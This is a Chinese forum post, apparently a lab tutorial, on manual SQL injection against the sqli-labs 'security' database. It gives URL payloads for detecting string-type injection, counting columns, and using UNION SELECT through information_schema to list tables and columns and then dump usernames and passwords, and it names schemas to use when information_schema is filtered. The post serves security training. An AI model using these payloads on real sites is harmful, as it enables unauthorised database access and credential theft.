马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
目次
1.判定是否存在sql注入点
1.1我们在地址栏中输入?id=1'
1.2我们在地址栏中输入?id'--+
2.联合查询
2.1首先知道表格有几列,如果报错就是凌驾列数,如果体现正常就是没有超出列数。
2.2爆出体现位,就是看看表格里面哪一列是在页面体现的
2.3获取当前数据名和版本号
2.4爆表
2.5爆字段名
2.6爆账号密码
1.判定是否存在sql注入点
1.1我们在地址栏中输入?id=1'
1.2我们在地址栏中输入?id'--+
根据结果可判定出是字符型注入,该页面存在回显,以是我们可以利用联合查询
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面体现正常和原页面一样,而且1=2页面报错大概页面部门数据体现不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面体现正常和原页面一样,而且1=2页面报错大概页面部门数据体现不正常,那么可以确定此处为字符型注入。
2.联合查询
注意:联合查询两表之间列数必须雷同
2.1首先知道表格有几列,如果报错就是凌驾列数,如果体现正常就是没有超出列数。
根据结果可判定出此表有3列
2.2爆出体现位,就是看看表格里面哪一列是在页面体现的
- ?id=-1'union select 1,2,3--+
复制代码 注意:union查询时,如果左右双方都为真,则返回前者查询的结果,以是要让后面我们自己构造的查询语句回显的话,前面id必须填写一个查询不到的数,这里我填的是-1
可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。
2.3获取当前数据名和版本号
- ?id=-1'union select 1,database(),version()--+
复制代码
通过结果知道当前表所处的数据库是security,版本是5.7.26
2.4爆表
mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包罗了 库名,表名,列名。
在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .
这些数据库内的信息。如果information_schema库被过滤掉,还可以实验利用下述库来代替
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
- ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
根据结果可知当前security库下有四张表,而且users表最有可能存放用户信息
2.5爆字段名
我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
- ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
复制代码 此语句是查询information_schema数据库下的columns表里users的列名
注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
通过上述操纵可以得到两个敏感字段就是username和password,最有可能存放用户的账号密码
2.6爆账号密码
- ?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
复制代码
如许我们就爆出各个用户的账号密码了,本次手工注入到此竣事。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |